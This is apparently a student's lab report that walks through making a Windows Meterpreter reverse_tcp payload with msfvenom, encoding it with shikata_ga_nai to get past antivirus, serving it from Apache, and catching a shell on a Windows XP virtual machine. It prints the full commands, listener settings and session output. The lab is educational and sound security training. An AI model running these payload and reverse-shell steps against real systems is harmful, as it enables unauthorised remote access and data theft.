

Task 3 Report

First I created the payload via msfvenom, with the following command:

```
(ammar@noOne)-[~]
$ msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00" LHOST=192
.168.56.1 -f exe > ~/Desktop/exp1.exe

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
```

Flag explanation:

- **-p** Used to specify the payload.
- **--platform** Used to specify the running OS on the targeted machine.
- **-a** Used to specify the architecture (32bit, 64bit).
- **-e** Selects the encoder.
- **-b** Defines bad characters to avoid
- **LHOST** stands for Local Host which is, the device the target will connect back to.
- **-f** Specifies the output format
- **>** Redirects the output to a file

Options selection explanation

1. **Meterpreter**, was used because it provides interactive shell access, with capabilities ..., the **reverse_tcp** portion tells the victim machine to initiate a connection back to the LHOST(the listener).
2. Shikata Ga Nai a polymorphic XOR additive feedback encoder, historically used to bypass signature-based Antivirus(AV) detection. Modern AVs easily detect it today.
3. **\x00** a hex byte, represents a **null byte**, In many programming languages, a null byte terminates a string. which can corrupt the payload during execution. The flag used tells the encoder to rewrite the payload without using that byte.

Payload Delivery

After payload creation process comes an important step, without it you would have a payload working but useless since it haven't been ran on the target machine. This delivery can be done in many ways, some of which are:

1. Phishing emails
2. Exploited Vulnerabilities
3. Drive-by-Downloads
4. Malicious Advertising(Malvertising)

Our focus will be on the exploit process and not delivery so will host the payload on simple apache server.

Here we created a directory to host the payload in, Changed the directory premissions, giving the owner full access, while group and others only have read/execute, Lastly we gave the ownership to `www-data` user and group, which is commonly used by web servers.

```
(root@no0ne)-[/home/ammarr]
# mkdir /var/www/html/share

(root@no0ne)-[/home/ammarr]
# chmod -R 755 /var/www/html/share

(root@no0ne)-[/home/ammarr]
# chown -R www-data:www-data /var/www/html/share
```



I accessed the web server from the target(Windows XP), downloaded the file.

Configuring the listener

I navigated to msfconsole, chose the listener module, set the payload and the LHOST IP

```

msf6 exploit(multi/handler) > show options

Payload options (windows/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | process         | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.56.1    | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:



| Id | Name            |
|----|-----------------|
| 0  | Wildcard Target |



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 4.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Sending stage (177734 bytes) to 192.168.56.4
[*] Meterpreter session 8 opened (192.168.56.1:4444 → 192.168.56.4:1097) at 2026-09-05 23:48:47 +0300

msf6 exploit(multi/handler) > sessions -i 8
[*] Starting interaction with 8...

meterpreter > getuid
Server username: AMMAR\Owner\expl.exe
meterpreter > ifconfig

Interface 1
=====
Name           : MS TCP Loopback interface
Hardware MAC   : 00:00:00:00:00:00
MTU            : 1520
IPv4 Address  : 127.0.0.1

Interface 2
=====
Name           : AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC   : 08:00:27:4a:92:fd
MTU            : 1500
IPv4 Address  : 192.168.56.4
IPv4 Netmask  : 255.255.255.0

meterpreter > cat "C:\Documents and Settings\Owner\My Documents\test.txt"
I got accesssss!!

meterpreter > pwd
C:\Documents and Settings\Owner\My Documents
meterpreter >

```

After running the listener I went back to windows XP and ran the exe file. The exploit worked and I've got a shell access.

I also created a text file and tried to read it from the shell session, and it worked.

What did I learn

Through this task, I learned how a reverse TCP payload works in a controlled Windows environment, from payload creation to establishing an interactive session. I gained a better understanding of how `msfvenom` can be used to generate a payload and how different parameters such as the payload type, architecture, encoder, bad characters, and LHOST affect the generated file.

I also learned that successful exploitation is not only about creating a payload. The payload needs to be delivered to the target, and a properly configured listener must be waiting for the connection. This helped me understand the relationship between the payload running on the target and the Metasploit handler receiving the reverse connection

Conclusion

This task demonstrated the complete process of obtaining remote access to a Windows XP machine through a reverse TCP Meterpreter payload.

Overall, this exercise helped connect several concepts together, including payload generation, payload delivery, reverse connections, listeners, and post-exploitation interaction. More importantly, it showed me that successful exploitation depends on multiple stages working together rather than relying on a single tool or command.